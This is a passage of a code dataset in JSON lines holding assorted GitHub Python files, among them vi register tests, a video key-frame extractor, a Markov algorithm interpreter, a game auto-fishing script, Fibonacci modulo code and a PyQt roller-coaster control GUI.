_populates_small_delete_register = False\n\n with mock.patch.object(self.regs, 'get_selected_text') as gst:\n gst.return_value = ['foo']\n self.regs.yank(vi_cmd_data)\n self.assertEqual(registers._REGISTER_DATA, {\n '\"': ['foo'],\n '0': ['foo'],\n '1-9': [None] * 9,\n })\n\n def testYanksToRegisters(self):\n class vi_cmd_data:\n _can_yank = True\n _populates_small_delete_register = False\n\n with mock.patch.object(self.regs, 'get_selected_text') as gst:\n gst.return_value = ['foo']\n self.regs.yank(vi_cmd_data, register='a')\n self.assertEqual(registers._REGISTER_DATA, {\n '\"': ['foo'],\n 'a': ['foo'],\n '0': None,\n '1-9': [None] * 9,\n })\n\n def testCanPopulateSmallDeleteRegister(self):\n class vi_cmd_data:\n _can_yank = True\n _populates_small_delete_register = True\n\n with mock.patch.object(builtins, 'all') as a, \\\n mock.patch.object(self.regs, 'get_selected_text') as gst:\n gst.return_value = ['foo']\n self.regs.view.sel.return_value = range(1)\n a.return_value = True\n self.regs.yank(vi_cmd_data)\n self.assertEqual(registers._REGISTER_DATA, {\n '\"': ['foo'],\n '-': ['foo'],\n '0': ['foo'],\n '1-9': [None] * 9})\n\n def testDoesNotPopulateSmallDeleteRegisterIfWeShouldNot(self):\n class vi_cmd_data:\n _can_yank = False\n _populates_small_delete_register = False\n\n with mock.patch.object(builtins, 'all') as a, \\\n mock.patch.object(self.regs, 'get_selected_text') as gst:\n gst.return_value = ['foo']\n self.regs.view.sel.return_value = range(1)\n a.return_value = False\n self.regs.yank(vi_cmd_data)\n self.assertEqual(registers._REGISTER_DATA, {\n '1-9': [None] * 9,\n '0': None,\n })\n","repo_name":"guillermooo/Vintageous","sub_path":"tests/vi/test_registers.py","file_name":"test_registers.py","file_ext":"py","file_size_in_byte":17917,"program_lang":"python","lang":"en","doc_type":"code","stars":1641,"dataset":"github-code","pt":"72"} +{"seq_id":"74632079272","text":"# Refernce: \n# https://stackoverflow.com/questions/27035672/cv-extract-differences-between-two-images\n\nimport cv2\nfrom skimage.metrics import structural_similarity as ssim\nimport sys\nimport os\n\nif len(sys.argv) >= 2:\n filename = sys.argv[1]\nelse:\n filename = 'demo'\nprint ('Hello', filename)\n\n# Create the directory\n# 'GeeksForGeeks' in\n# '/home / User / Documents'\n# directory = 'test'\nos.mkdir(filename)\nprint(\"Directory '% s' created\" % filename)\n\nvidcap = cv2.VideoCapture(filename + \".mp4\")\nsuccess,image = vidcap.read()\nscore_thresh = 0.95 # You may need to adjust this threshold\ncount = 0\n\n# Read the first frame.\nsuccess, prev_frame = vidcap.read()\nwhile success:\n success,curr_frame = vidcap.read()\n if success == False:\n break;\n # Convert images to grayscale\n pre_gray = cv2.cvtColor(prev_frame, cv2.COLOR_BGR2GRAY)\n curr_gray = cv2.cvtColor(curr_frame, cv2.COLOR_BGR2GRAY)\n # Compute SSIM between two images\n (score, diff) = ssim(pre_gray, curr_gray, full=True)\n if score < score_thresh: \n cv2.imwrite(filename + \"/\" + filename + \"_frame_%d.png\" % count, curr_frame)\n prev_frame = curr_frame\n else:\n print(\"Image similarity:\", score)\n count += 1 ","repo_name":"CarolCheng/LearnCVwithPython","sub_path":"StoreKeyFrame.py","file_name":"StoreKeyFrame.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17338840670","text":"# Prime number checker\n\ndef prime_checker(number):\n if number <= 1:\n print('Not Prime')\n is_prime = True\n for i in range(2, number):\n if number%i == 0:\n is_prime = False\n if is_prime:\n print(f'{number} is a Prime Number!')\n else:\n print(f'{number} is NOT a Prime Number!')\n\n\nnumber = int(input('Check the number: '))\n \nprime_checker(number)","repo_name":"ishuu19/Prime-checker","sub_path":"prime_checker.py","file_name":"prime_checker.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"43385136888","text":"import sys\n\ndef print_intro():\n intro = [\"\",\n \"Welcome To\",\n \"\",\n \"\"\" __ _ __ __ ____ ___ _____ ______ ____ __ __ _ \n | |/ ]| | || \\ / _] / ___/| | / | / ]| |/ ] \n | ' / | | || o ) / [_ ( \\_ | || o | / / | ' / \n | \\ | | || || _] \\__ ||_| |_|| | / / | \\ \n | || : || O || [_ / \\ | | | | _ |/ \\_ | | \n | . || || || | \\ | | | | | |\\ || . | \n |__|\\_| \\__,_||_____||_____| \\___| |__| |__|__| \\____||__|\\_| \"\"\",\n \"\",\n \"\"]\n\n for string in intro:\n print(string.center(80, \"+\"))\n\nmanifests = [\n \"Deployment\",\n]\n\ndef main():\n print_intro()\n print(\"Here are the manifests we currently support\")\n for index, manifest in enumerate(manifests):\n print(f\"{index + 1})\", manifest, sep=\" \")\n\n manifest_selected = False\n while not manifest_selected:\n manifest = input(\"Select the manifest you want to generate or enter q to quit: \").title()\n if manifest == \"Q\":\n sys.exit()\n if manifest in manifests:\n manifest_selected = True\n else:\n print(\"Sorry we do not currently support this manifest\")\n \n if manifest == \"Deployment\":\n import manifests.deployment as deployment\n deployment.collect_data()\n manifest = deployment.generate_template()\n with open(\"deployment.yaml\", \"w\") as f:\n f.write(manifest)\n print(\"Your manifest has been generated in the current directory\")\n\nif __name__ == \"__main__\":\n main()","repo_name":"utibeabasi6/kubestack","sub_path":"kubestack.py","file_name":"kubestack.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"471174240","text":"#!/usr/bin/env python\n\n\"\"\"\nppicp.hydrogen\n~~~~~~~~~~~~~~\n\nFunctions that handle the stripping and re-adding/calculating of hydrogen atoms to PDB files.\n\"\"\"\n\nimport os\nimport platform\nimport subprocess\nimport sys\n\nPARENT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir))\nsys.path.append(PARENT_DIR)\n\nfrom ppicp import config\nfrom ppicp import initialize\n\n\nLOGGER = initialize.init_logger(__name__)\nLOGGER_HYD = initialize.init_hyd_logger(__name__)\n\n\ndef calc_hydrogen(pdb_path, out_dir):\n \"\"\"\n Calculates hydrogen atoms for a given PDB file and saves the added hydrogen atoms to a new PDB\n file. This is done by invoking the ``reduce`` software.\n\n :param pdb_path: The PDB file.\n :param out_dir: Where the resulting files are saved.\n :return: True if successful, False otherwise.\n \"\"\"\n LOGGER.info(\"[HYDROGEN] Working on: %s\", pdb_path)\n if platform.system() == 'Windows':\n raise NotImplementedError\n elif platform.system() == 'Linux':\n if config.get_hydrogen_app(initialize.CONF_FILE) == 'reduce':\n LOGGER.debug('Using Reduce to re-calculate hydrogen atoms.')\n try:\n LOGGER.debug('Stripping hydrogen atoms for %s', pdb_path)\n command = [os.path.join(initialize.BIN_DIR, 'reduce'), '-Trim', '-Quiet', pdb_path]\n subp = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n stdout, stderr = subp.communicate()\n\n with open(out_dir + 'stripped', 'w') as out:\n out.write(stdout)\n\n if stderr != '':\n LOGGER.debug(stderr)\n LOGGER_HYD.error('{%s}\\n %s', pdb_path, stderr)\n\n retcode = subp.poll()\n if retcode:\n cmd = command\n raise subprocess.CalledProcessError(retcode, cmd, output=stdout)\n\n LOGGER.debug('Re-adding hydrogen atoms for %s', pdb_path)\n command = [os.path.join(initialize.BIN_DIR, 'reduce'), '-build', '-DB',\n os.path.join(initialize.BIN_DIR, 'reduce_wwPDB_het_dict.txt'),\n '-Quiet', out_dir + 'stripped']\n\n subp = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n stdout, stderr = subp.communicate()\n\n with open(out_dir, 'w') as out:\n out.write(stdout)\n\n if stderr != '':\n LOGGER.debug(stderr)\n LOGGER_HYD.error('{%s}\\n %s', pdb_path, stderr)\n\n # Get rid of the overhead.\n os.remove(out_dir + 'stripped')\n\n return True\n except (OSError, subprocess.CalledProcessError) as err:\n LOGGER.error('%s \\nHydrogen calculations failed.', err)\n return False\n else:\n LOGGER.debug('Using user-specified application.')\n hydrogen_app = config.get_hydrogen_app(initialize.CONF_FILE)\n try:\n LOGGER.debug(subprocess.check_output([hydrogen_app]))\n return True\n except (OSError, subprocess.CalledProcessError) as err:\n LOGGER.error('%s \\nHydrogen calculations failed.', err)\n return False\n else:\n LOGGER.critical(\"[ERROR] OS could not be determined.\")\n sys.exit(1)\n","repo_name":"bud-graziano/ppicp","sub_path":"ppicp/hydrogen.py","file_name":"hydrogen.py","file_ext":"py","file_size_in_byte":3423,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"19531440835","text":"import torchvision.models as models\nimport torch.nn as nn\n\nimport models.deeppose_config as config\n\n\nclass Deeppose(nn.Module):\n \"\"\"\n using pretrained AlexNet\n \"\"\"\n\n def __init__(self):\n super(Deeppose, self).__init__()\n alexnet = models.alexnet(pretrained=True)\n alexnet.classifier = nn.Sequential(\n *list(alexnet.classifier.children())[:-1],\n nn.Dropout(p=0.5, inplace=False),\n nn.Linear(4096, 2048),\n nn.ReLU(inplace=True),\n nn.Dropout(p=0.5, inplace=False),\n nn.Linear(2048, config.n_joints * 2),\n nn.Sigmoid())\n\n self.alexnet = alexnet\n\n def forward(self, x):\n return self.alexnet(x)\n","repo_name":"akabiraka/cs682_computer_vision","sub_path":"project_human_pose_estimation/models/deeppose.py","file_name":"deeppose.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73318443754","text":"import numpy as np\nimport cv2\nfrom mss import mss\nfrom PIL import Image\nimport os\nimport time\n\n\n#Delay of 5 seconds so game window can be opened\ntime.sleep(5)\n\nsct = mss()\ncountFish=1\ndelayCount = 0\n\nwhile 1:\n os.system('xdotool click 3')\n \n #Delay of 3 seconds to allow the fishing bob to settle\n time.sleep(3)\n \n while 1:\n w, h = 800, 600\n\n #Lower and Upper RGB bounds of the red fishing bob\n lower=np.array([36,36,189], dtype=\"uint8\")\n upper=np.array([48,48,229], dtype=\"uint8\")\n \n #Takes a ROI screen capture of the upper middle left half of the screen.\n monitor = {'top': 100, 'left': 100, 'width': w, 'height': h}\n img = Image.frombytes('RGB', (w,h), sct.grab(monitor).rgb)\n IMG=cv2.cvtColor(np.array(img), cv2.COLOR_RGB2BGR)\n mask=cv2.inRange(IMG, lower, upper)\n\n #Below can be commented out to improve performance.\n cv2.imshow('test', mask)\n\n #Gives user time to pull up mask window\n if(delayCount==0):\n time.sleep(10)\n delayCount+=1\n\n if np.sum(mask) == 0: \n print(countFish)\n countFish+=1\n cv2.imwrite('BobBelowSurface.png', IMG)\n os.system('xdotool click 3')\n time.sleep(1)\n break\n \n \n if cv2.waitKey(25) & 0xFF == ord('q'):\n cv2.destroyAllWindows()\n break\n\n","repo_name":"justinyugit/mini-projects","sub_path":"OpenCV-AutoFishBot/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"6096262736","text":"#!/bin/python3\n\n# @author: Darwing Hernandez \n\n# Huge Fibonacci Number mod m\n#\n# Compute F(n) mod m, where n may be really huge: up to 10^18. For such values of n, an algorithm\n# looping for n iterations will not fit into one second for sure.\n#\n# Fib(n) mod m is periodic for any integer m >= 2. This period is known as Pisano period (https://oeis.org/A001175).\n# Pisano period begins always with 01.\n#\n# Input: integer n; 1 <= n <= 10^18\n# integer m; 2 <= m <= 10^5\n# Output: Fib(n) mod m\n\nimport random\n\n\n# Iterative version. Now this is going to be our naive solution.\ndef fibonacciModMNaive(n, m):\n\n if n <= 1:\n return n\n\n f0 = 0\n f1 = 1\n fn = 0\n i = 2\n\n while i <= n:\n\n fn = f0 + f1\n f0 = f1\n f1 = fn\n\n i += 1\n\n return fn % m\n\n# Determines the pisano index where the period begins again. This helps us to know the index for the\n# period to calculate then the F(n) mod m\ndef pisanoIndex(m):\n\n pisano = 0\n\n fn = 0 # fib(n)%m\n fi_0 = 0 # Base case fib(0)\n fi_1 = 1 # Base case fib(1)\n\n while True:\n\n # This means that we already found the period\n if pisano > 0 and fi_0%m == 0 and fi_1%m == 1:\n break\n\n fn = (fi_0 + fi_1) % m\n fi_0 = fi_1\n fi_1 = fn\n\n pisano += 1\n\n return pisano\n\n# Fast solution for F(n) mod m where the index for the period is previously calculated and after\n# get the F(n) mod m\ndef fibonacciModM(n, m):\n\n # Base case\n if n <= 1:\n return n\n\n # Determines the limit of iterations to calculate F(n) mod m. This is because it is using the\n # approach that F(n) mod m is periodic for m >= 2, so F(n) mod m = F(n') mod m, for n' < n.\n limit = n % pisanoIndex(m)\n\n # Base case\n if limit <= 1:\n return limit\n\n fn = 0\n fi_0 = 0\n fi_1 = 1\n\n i = 2\n\n # Calculates the mod m with the new and smaller \"n\".\n while i <= limit:\n\n fn = (fi_0 + fi_1) % m\n fi_0 = fi_1\n fi_1 = fn\n\n i += 1\n\n return fn\n\n# Stress testing both solutions\ndef stressTest(n, m):\n\n while True:\n\n newN = random.randint(1, n)\n newM = random.randint(2, m)\n\n print(newN, newM)\n\n result1 = fibonacciModMNaive(newN, newM)\n result2 = fibonacciModM(newN, newM)\n\n if result1 != result2:\n print(\"Wrong answer: \", result1, result2)\n break\n else:\n print(\"OK\")\n\nparams = [int(x) for x in input().split()]\n\n# Stress testing\n#stressTest(params[0], params[1])\n\nprint(fibonacciModM(params[0], params[1]))\n","repo_name":"Zenfeuer/courses","sub_path":"Coursera/DSAS/AT/fibonacci_huge.py","file_name":"fibonacci_huge.py","file_ext":"py","file_size_in_byte":2605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12235458928","text":"# Дополнительное задание по теории алгоритмов\r\n# Голенищев Артём, 2 курс, 9 группа\r\n\r\nprint(\"# как пользоваться\")\r\nprint(\"# 1. ввести правила подстановки: \")\r\nprint(\"# а. ввести количество правил алгорифма\")\r\nprint(\"# б. начать ввод правил в формате <подслово>-<рез-т подстановки> (подслово и результат подстановки через дефис)\")\r\nprint(\"# например: a-b, eps-.eps, d-*d и т. д.\")\r\nprint(\"# в. ввод завершится по получении всех правил\")\r\nprint(\"# 2. ввести слово \")\r\nprint(\"# 3. получить результат со всеми преобразованиями \")\r\nprint(\"# 4. выбрать одно из следующих действий: \")\r\nprint(\"# а. ввести очередное слово для примения над ним ранее введённых правил \")\r\nprint(\"# б. ввести специальное слово alg-stop для прекращения работы с введённым алгорифмом \")\r\nprint(\"# i. начать работу с новым нормальным алгорифмом - ввести y с клавиатуры и вернуться к пункту 1.\")\r\nprint(\"# ii. завершить работу с программой - ввести n с клавиатуры\")\r\nprint()\r\nprint(\"# начало\")\r\nExit = 0;\r\nwhile Exit == 0:\r\n\r\n # нормальный алгорифм - словарь, где ключи - подслова, а значения - результат подстановки вместо подслова.\r\n # на этапе инициализации не имеет ни одного правила.\r\n Algorithm = {}\r\n\r\n # ввод правил подстановки, добавление их в алгорифм \r\n RulesCnt = int(input(\"> Введите кол-во правил подстановки: \"))\r\n print(\"> Введите правила подстановки: \")\r\n for number in range(RulesCnt):\r\n NewRule = input()\r\n NewRule = NewRule.replace(\" \",\"\")\r\n NewPair = NewRule.split('-')\r\n Algorithm[NewPair[0]] = NewPair[1] \r\n print()\r\n\r\n # вывод правил нормального алгорифма\r\n print(\"> Правила подстановок нормального алгорифма: \")\r\n for key in Algorithm:\r\n \r\n print(\" \" + key + \"->\" + Algorithm[key])\r\n print()\r\n \r\n \r\n Algorithm[\"NoMoreSubs\"] = \"\" # правило-end, попытка применения этого правила - сигнал о том, что ни одно из правил нормального алгорифма не применимо.\r\n\r\n \r\n # секция применения правил подстановки. введённый нормальный алгорифм пользователь может применить к любому количеству слов. \r\n # после применения алгорифма к введённому слову программа выводит результат применения и ожидает новое слово. \r\n # для перехода ко вводу нового алгорифма необходимо ввести alg-stop в качестве входного слова. в таком случае можно будет ввести новый набор правил или завершить работу с программой.\r\n while 0 == 0:\r\n Transformations = []\r\n \r\n Word = input(\"> Введите слово: \")\r\n \r\n if Word == \"alg-stop\": #проверка на команду об окончании работы с данным алгорифмом\r\n break\r\n\r\n SrcWord = Word # сохранение исходного слова\r\n\r\n IterCnt = 0 # счётчик итераций для слова\r\n\r\n Applied = 0 # флаг окончания применения алгорифма. 0 - в процессе применения, 1 - применён.\r\n # цикл действет аккуратно - производит по одной подстановке за итерацию. в начале каждой из них слово проверяется на появление после предыдущей итерации точки - признака применения конечной подстановки.\r\n # в таком случае применение правил алгорифма останавливается, точка удаляется из слова. иначе работа цикла продолжается до появления в слове точки или до достижения фиктивного правила NoMoreSubs, что сигнализирует о неприменимости остальных правил.\r\n # каждая новая итерация начинается с попытки применить правило наивысшего приоритета. если оно не применимо - начинается перебор правил в порядке убывания их приоритета.\r\n while Applied == 0:\r\n\r\n IterCnt = IterCnt + 1\r\n if IterCnt > 100: # пусть сообщение о зацикливании будет выводиться по достижении 100 итераций цикла\r\n print(\"Процесс зациклился!\")\r\n break\r\n\r\n Word = Word.replace(\"eps\", \"\")\r\n\r\n # добавление пустого символа в начало\r\n if not Word.startswith(\"eps\"):\r\n Word = \"eps\" + Word\r\n\r\n Transformations.append(Word)\r\n Transformations.append(\"=>\")\r\n\r\n # проверка \"на точку\"\r\n if Word.find(\".\") != -1:\r\n Word = Word.replace(\".\",\"\")\r\n Word = Word.replace(\"%eps%\",\"\")\r\n # Applied = 1\r\n break\r\n\r\n # применения правил\r\n for key in Algorithm:\r\n \r\n if key == \"NoMoreSubs\":\r\n Applied = 1\r\n break\r\n\r\n if Word.find(key) != -1:\r\n Word = Word.replace(key, Algorithm[key], 1)\r\n break\r\n print()\r\n Transformations.pop();\r\n\r\n # Вывод всех преобразований со служебными символами \".\" и \"eps\". Не используется в конечной версии программы. \r\n # for x in Transformations: \r\n # print(x)\r\n\r\n # вывод всех преобразований \r\n print(\"> Вывод всех преобразований: \")\r\n for x in Transformations:\r\n if x != \"eps\":\r\n x = x.replace(\"eps\",\"\")\r\n x = x.replace(\".\",\"\")\r\n print(x, end = ' ')\r\n print()\r\n print()\r\n\r\n\r\n UserAnswer = \"null\"\r\n while UserAnswer != \"y\" and UserAnswer != \"n\":\r\n UserAnswer = input(\"> Вы хотите продолжить работу и ввести новый нормальный алгорифм? y - да / n - нет: \")\r\n print()\r\n if UserAnswer == \"n\":\r\n Exit = 1\r\n print(\"# конец\")\r\n else:\r\n print(\"# новый алгорифм\")\r\n print()\r\n \r\n # Лог работы\r\n # \r\n #> Введите кол-во правил подстановки: 2\r\n #> Введите правила подстановки:\r\n #a-b\r\n #c-.a\r\n #\r\n #> Правила подстановок нормального алгорифма:\r\n # a->b\r\n # c->.a\r\n #\r\n #> Введите слово: caa\r\n #\r\n #> Вывод всех преобразований:\r\n #caa => cba => cbb => abb\r\n\r\n\r\n\r\n\r\n # > Введите кол-во правил подстановки: 3\r\n #> Введите правила подстановки:\r\n #bba-ab\r\n #ab-a\r\n #b-eps\r\n #\r\n #> Правила подстановок нормального алгорифма:\r\n # bba->ab\r\n # ab->a\r\n # b->eps\r\n #\r\n #> Введите слово: bbbabaaabbb\r\n #\r\n #> Вывод всех преобразований:\r\n #bbbabaaabbb => babbaaabbb => baabaabbb => baaaabbb => baaaabb => baaaab => baaaa => aaaa\r\n\r\n\r\n\r\n\r\n # > Введите кол-во правил подстановки: 3\r\n #> Введите правила подстановки:\r\n #ba-ab\r\n #ab-a\r\n #a-eps\r\n #\r\n #> Правила подстановок нормального алгорифма:\r\n # ba->ab\r\n # ab->a\r\n # a->eps\r\n #\r\n #> Введите слово: aaaa\r\n #\r\n #> Вывод всех преобразований:\r\n #aaaa => aaa => aa => a => eps\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"heywannafunk/cs203-bonus-task","sub_path":"ExtraTaskPython/ExtraTaskPython.py","file_name":"ExtraTaskPython.py","file_ext":"py","file_size_in_byte":9253,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74317262632","text":"\"\"\"Tests for day 14.\"\"\"\n\nimport pytest\n\nfrom day_14.solution import calculate_difference_of_most_and_least_common_element_counts\n\n_EXAMPLE_INPUT = \"\"\"NNCB\n\nCH -> B\nHH -> N\nCB -> H\nNH -> C\nHB -> C\nHC -> B\nHN -> C\nNN -> C\nBH -> H\nNC -> B\nNB -> B\nBN -> B\nBB -> N\nBC -> B\nCC -> N\nCN -> C\"\"\"\n\n\n@pytest.mark.parametrize(\"steps,expected\", [(10, 1588), (40, 2188189693529)])\ndef test_example_solution_is_recovered(steps, expected):\n assert (\n calculate_difference_of_most_and_least_common_element_counts(\n _EXAMPLE_INPUT, steps=steps\n )\n == expected\n )\n\n","repo_name":"anguswilliams91/advent-of-code-2021","sub_path":"day_14/test_solution.py","file_name":"test_solution.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"171276894","text":"# Generating example classification data\r\n\r\nimport numpy as np\r\nimport scipy.stats as ss\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.linear_model import LinearRegression, LogisticRegression\r\nfrom sklearn.model_selection import train_test_split\r\n\r\nn = 1000\r\n\r\ndef gen_data(n, h, sd1, sd2):\r\n x1 = ss.norm.rvs(-h, sd1, n)\r\n y1 = ss.norm.rvs(0, sd1, n)\r\n x2 = ss.norm.rvs(h, sd2, n)\r\n y2 = ss.norm.rvs(0, sd2, n)\r\n return (x1, y1, x2, y2)\r\n\r\ndef plot_data(x1, y1, x2, y2):\r\n plt.figure()\r\n plt.plot(x1, y1, \"o\", ms=2)\r\n plt.plot(x2, y2, \"o\", ms=2)\r\n plt.xlabel(\"$X_1$\") \r\n plt.ylabel(\"$X_2$\")\r\n plt.show()\r\n\r\nx1, y1, x2, y2 = gen_data(1000, 1.5, 1, 1.5)\r\n#plot_data(x1, y1, x2, y2)\r\n\r\nclassifier = LogisticRegression()\r\nX = np.vstack((np.vstack((x1, y1)).T, np.vstack((x2, y2)).T))\r\ny = np.hstack((np.repeat(1, n), np.repeat(2,n)))\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, train_size=0.5, random_state=1)\r\nclassifier.fit(X_train, y_train)\r\n#print(classifier.predict_proba(np.array([-2, 0]).reshape(1, -1)))\r\n#print(classifier.predict(np.array([-2, 0]).reshape(1, -1)))\r\n\r\ndef plot_probs(ax, clf, class_no):\r\n xx1, xx2 = np.meshgrid(np.arange(-5, 5, 0.01), np.arange(-5, 5, 0.01))\r\n probs = clf.predict_proba(np.stack((xx1.ravel(), xx2.ravel()), axis=1))\r\n Z = probs[:, class_no]\r\n Z = Z.reshape(xx1.shape)\r\n CS = ax.contourf(xx1, xx2, Z)\r\n cbar = plt.colorbar(CS)\r\n plt.xlabel(\"$X_1$\")\r\n plt.ylabel(\"$X_2$\")\r\n #plt.show()\r\nplt.figure()\r\nax = plt.subplot(211)\r\nplot_probs(ax, classifier, 0)\r\nplt.title(\"Pred. prob for class 1\")\r\nax = plt.subplot(212)\r\nplot_probs(ax, classifier, 1)\r\nplt.title(\"Pred. prob for class 2\")\r\nplt.show()\r\n","repo_name":"Yodeman/Python_for_Research","sub_path":"statsLearning.py","file_name":"statsLearning.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"21550858802","text":"\"\"\"\nnolimits_coastergui.py\n\n\"\"\"\n\nimport os\nimport sys\nimport logging\n# from coaster_gui_defs import *\nfrom PyQt5 import QtCore, QtGui, QtWidgets, uic\n\n\nfrom agents.ride_state import RideState\nfrom agents.agent_gui_base import AgentGuiBase\nimport common.gui_utils as gutil\nfrom common.kb_sleep import kb_sleep\n\nui, base = uic.loadUiType(\"agents/nolimits_coaster/nolimits_coaster_gui.ui\")\n\n\nlog = logging.getLogger(__name__)\n\nclass frame_gui(QtWidgets.QFrame, ui):\n def __init__(self, parent=None):\n super(frame_gui, self).__init__(parent)\n self.setupUi(self)\n\nclass AgentGui(AgentGuiBase):\n\n def __init__(self, frame, layout, proxy):\n self.ui = frame_gui(frame)\n layout.addWidget(self.ui)\n \n self.lbl_pc_conn_status = [ self.ui.lbl_pc_conn_status_0, self.ui.lbl_pc_conn_status_1,\n self.ui.lbl_pc_conn_status_2, self.ui.lbl_pc_conn_status_3, self.ui.lbl_pc_conn_status_4]\n\n self.park_path = []\n self.park_names = []\n self.seat = []\n self._park_callback = None\n self.current_park = 0\n self.is_scrolling = False\n\n self.is_activated = False\n self.sleep_func = kb_sleep\n \n # configure signals\n self.ui.btn_dispatch.clicked.connect(proxy.dispatch_pressed)\n self.ui.btn_pause.clicked.connect(proxy.pause_pressed)\n self.ui.btn_reset_rift.clicked.connect(proxy.reset_vr)\n\n # Create custom buttons\n self.custom_btn_dispatch = gutil.CustomButton( self.ui.btn_dispatch, ('white','darkgreen'), ('black', 'lightgreen'), 10, 0) \n self.custom_btn_pause = gutil.CustomButton( self.ui.btn_pause, ('black','orange'), ('black', 'yellow'), 10, 0) \n # self.ui.btn_pause.setStyleSheet(\"background-color: orange; border-radius:10px; border: 0px;QPushButton::pressed{background-color :yellow; }\")\n self.show_state_change(RideState.NON_SIM_MODE, self.is_activated) # update buttons\n\n self.read_parks() # load cmb_select_ride \n self.report_coaster_status(\"Starting software!black\")\n log.info(\"Agent GUI initialized\")\n\n def set_rc_label(self, info):\n gutil.set_text(self.ui.lbl_remote_status, info[0], info[1])\n \n def report_coaster_status(self, text):\n # msg string format is: text!color\n text,color = text.split('!')\n self.coaster_status_str = format(\"%s,%s\" % (text,color))\n gutil.set_text(self.ui.lbl_coaster_status, text, color)\n\n def report_connection_status(self, index, pc_str, text):\n # msg string format is: text!color\n text = pc_str + ' ' + text\n text,color = text.split('!')\n gutil.set_text(self.lbl_pc_conn_status[index], text, color)\n\n def report_sync_status(self, text, color):\n gutil.set_text(self.lbl_sync_status, text, color)\n\n def detected_remote(self, info):\n # fixme - is this needed?\n if \"Detected Remote\" in info:\n gutil.set_text(self.ui.lbl_remote_status, info, \"green\")\n elif \"Looking for Remote\" in info:\n gutil.set_text(self.ui.lbl_remote_status, info, \"orange\")\n else:\n gutil.set_text(self.ui.lbl_remote_status, info, \"red\")\n\n def intensity_status_changed(self, intensity):\n gutil.set_text(self.ui.lbl_intensity_status, intensity[0], intensity[1])\n \n def set_seat(self, seat):\n if seat != '':\n log.info(\"seat set to %d\", int(seat))\n\n def read_parks(self):\n try:\n path = os.path.abspath('agents/nolimits_coaster/coaster_parks.cfg')\n log.debug(\"Path to coaster parks: %s\", path)\n with open(path) as f:\n parks = f.read().splitlines()\n for park in parks:\n p = park.split(',')\n self.park_path.append(p[0]) \n self.seat.append(p[1])\n # print park\n p = p[0].split('/')\n p = p[len(p)-1]\n # print p,\n self.park_names.append(p.split('.')[0])\n log.debug(\"Available rides are:\\n %s\", ','.join(p for p in self.park_names))\n self.ui.cmb_select_ride.addItems(self.park_names)\n self.ui.cmb_select_ride.currentIndexChanged.connect(self._park_selection_changed)\n except Exception as e:\n log.error(\"Unable to load parks, (error %s)\", e)\n\n def select_ride_callback(self, cb):\n self._park_callback = cb\n\n def _park_selection_changed(self, value):\n if not self.is_scrolling: # ignore if encoder is pressed \n self._park_by_index(value)\n\n def _park_by_index(self, idx):\n # print idx, self.park_path[idx]\n # print \"park by index\", idx, self.current_park, idx == self.current_park\n if idx != self.current_park and self._park_callback != None:\n log.info(\"loading park %s\", self.park_names[idx])\n # load park in pause mode, this will unpuase when park is loaded\n self._park_callback(True, self.park_path[idx], self.seat[idx])\n self.current_park = idx\n\n def get_selected_park(self): \n return None\n\n def scroll_parks(self, dir):\n count = self.ui.cmb_select_ride.count()\n index = self.ui.cmb_select_ride.currentIndex()\n self.is_scrolling = True # flag to supress selection until encoder released\n if dir == '1':\n if index < count - 1:\n self.ui.cmb_select_ride.setCurrentIndex(index+1)\n elif dir == '-1':\n if index > 0:\n self.ui.cmb_select_ride.setCurrentIndex(index-1)\n print(\"scroll parks, dir=\", dir, \"index = \", index)\n self.is_scrolling = False\n\n def show_parks(self, isPressed):\n # todo ignore if input tab not active \n print(\"\\nshow parks, pressed=\", isPressed)\n if isPressed == 'False': \n # here when encoder switch is released\n self._park_by_index(self.ui.cmb_select_ride.currentIndex())\n \"\"\"\n if self.is_parklist_focused == False:\n #open pop down list\n self.park_listbox.focus_set()\n self.park_listbox.event_generate('')\n else: \n if self.is_parklist_focused == True:\n # print \"select item here\" \n self.park_listbox.event_generate('')\n else:\n log.warning(\"Unhandled state in Show_parks, pressed=%d\", isPressed) # , \"is open = \", self.is_parklist_focused\n \"\"\"\n \n def hide_parks_dialog(self):\n self.top.destroy()\n\n def set_activation(self, is_enabled):\n # print((\"is activated in gui set to \", is_enabled))\n if is_enabled:\n self.is_activated = True\n self.ui.cmb_select_ride.setEnabled(False)\n else:\n self.is_activated = False\n self.ui.cmb_select_ride.setEnabled(True)\n\n def emergency_stop(self):\n log.warning(\"legacy emergency stop callback\")\n self.deactivate()\n\n def show_activated(self, state):\n self.show_state_change(state, True)\n\n def show_deactivated(self, state):\n self.show_state_change(state, False)\n \n def show_parked(self):\n gutil.set_text(self.ui.lbl_coaster_status, \"Coaster is Parked\", \"black\")\n\n def temperature_status_changed(self, status):\n gutil.set_text(self.ui.lbl_temperature_status, status[0], status[1])\n\n def show_state_change(self, new_state, isActivated):\n # print(\"Coaster state changed to \", RideState.str(new_state), str(isActivated))\n log.debug(\"Coaster state changed to: %s (%s)\", RideState.str(new_state), \"Activated\" if 